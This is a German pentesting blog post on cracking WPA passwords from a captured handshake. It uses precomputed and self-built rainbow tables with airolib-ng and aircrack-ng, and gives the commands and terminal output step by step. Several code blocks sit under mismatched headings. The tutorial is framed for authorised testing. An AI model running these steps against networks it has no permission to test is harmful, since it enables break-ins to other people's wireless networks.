WEP gesicherte Netzwerke stellen mittlerweile kaum mehr ein Hindernis für einen Pentester dar. Der Nachfolger von WEP erforderte bislang allerdings immer den Griff zu den sehr langsamen Wörterbuchangriffen. Die Erstellung von WPA Rainbow Tables ermöglichen einen vielfach schnelleren Cracking Vorgang, allerdings müssen diese Tables vorab berechnet werden. Da diese WPA Tables SSID spezifisch sind, ist nicht unerheblicher Rechen- und Speicheraufwand für jede zu testende SSID erforderlich.
Das Team von Offensive Security stellt auf deren Webseite bereits eine hohe Anzahl vorkompilierter Rainbow Tables inkl. Passwort File zur Verfügung.
http://www.offensive-security.com/wpa-tables/
Im ersten Schritt, dieses kurzen Artikels, wird eine solche vorberechnete Tabelle eingesetzt und ein kurzer Vergleich zu herkömmlichen Passwort Angriffen dargestellt. Im Anschluss kommt es zur Erstellung und Anwendung einer neuen Tabelle für eine noch nicht vorhandene SSID.
Verwenden von bereits vorhandenen Rainbow Tables
Die vorhandene WPA Rainbowtable muss im ersten Schritt mit airolib-ng in die Datenbank importiert werden. Im Anschluss an einen erfolgreichen Import ist es möglich diese Tabelle für einen erheblich beschleunigten Test von WPA gesicherten Netzwerken zu nutzen.
Der Import einer vorhandene Rainbow Table funktioniert folgendermaßen:
Sobald der Import erfolgreich abgeschlossen wurde (je nach Rechenleistung kann dieser Vorgang erheblich mehr Zeit in Anspruch nehmen) lässt sich die neu erstellte Datenbank für den Angriff auf den bereits aufgezeichneten WPA Handshake mit aircrack-ng einsetzen:Code:17:41:14 s3cur1ty ~/wifu [m1k3] airolib-ng test --import cowpatty test.wpa Database <test> does not already exist, creating it... Database <test> sucessfully created Reading header... Reading... Updating references... Writing... 19:50:07 s3cur1ty ~/wifu [m1k3]
Folgende Screenshots zeigen den Vergleich zwischen einer einfachen Dictionary Attack (die nach ca. 4h abgebrochen wurde) und dem erfolgreichen Angriff per Rainbow Tables:Code:<em>s3cur1ty ~/wifu [m1k3] aircrack-ng -r test wpa.cap</em>
Erstellen neuer Tables
In den meisten Fällen eines legalen Penetrationstests trifft man auf nicht vorberechnete SSIDs. Im Idealfall lässt man sich die zu prüfenden SSIDs vorab übermitteln, wodurch man Zeit hat um den relativ langwierigen Vorgang der Erstellung der Rainbow Tables durchzuführen. Der folgende Abschnitt behandelt wie man zu einer vorgefundenen SSID eine Tabelle berechnet. Wichtig für den Erfolg eines Angriffs ist dabei der Umfang des vorhanden Wörterbuches. Offensive Security stellt das von ihnen verwendete Wörterbuch online zur Verfügung. Je nach Zeit und Umfang des Pentests kann man dieses Wörterbuch noch mit eigenen Passwortlisten erweitern.
File mit den SSIDs erstellen:
Im ersten Schritt benötigen wir ein Textfile mit den SSIDs. Wie bereits erwähnt wurde sind die WPA Tables SSID spezifisch.
Datenbank erstellenCode:17:13:23 s3cur1ty ~/wifu [m1k3] cat ssid.txt p0wn-me
oder bei einer einzelnene SSID:Code:17:13:16 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --import essid ssid.txt Database <testdb> does not already exist, creating it... Database <testdb> sucessfully created Reading file... Writing... Done.
Importieren des Passwortfiles und aufräumen der Datenbank:Code:# echo SSID | airolib-ng testdb --import essid -
erstellen der Rainbowtables:Code:17:14:31 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --import passwd wpalist.txt 18:22:07 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --clean all Deleting invalid ESSIDs and passwords... Deleting unreferenced PMKs... Analysing index structure... Vacuum-cleaning the database. This could take a while... Checking database integrity... integrity_check ok Query done. 2 rows affected. Done. 19:24:44 s3cur1ty ~/wifu [m1k3]
Code:17:14:31 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --batch Computed 25000 PMK in 691 seconds (36 PMK/s, 225000 in buffer). Computed 925000 PMK in 8647 seconds (106 PMK/s, 75000 in buffer). 18:22:07 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --verify all
cracking WPA handshake:
Zu guter Letzt fehlt nur noch der Angriff auf den WPA Handshake. Dieser Angriff erfolgt mit aircrack-ng und stellt sich ebenso dar wie im Screenshot zu den vorberechneten Tabellen dargestellt wurde.
Folgender CLI Aufruf veranlasst aircrack-ng einen Angriff auf das angegebene cap File durchzuführen:
Exporting:Code:aircrack-ng -r testdb handshake.cap
Im Normalfall wird man sich die erstellten Tabellen für weitere Einsätze und für Dokumentationszwecke archivieren:
Die etwas schöner formatierte Version findet ihr wie üblich auf meinem Blog:Code:airolib-ng testdb --export cowpatty SSID SSID.wpa
WPA cracking with rainbow tables | www.s3cur1ty.de






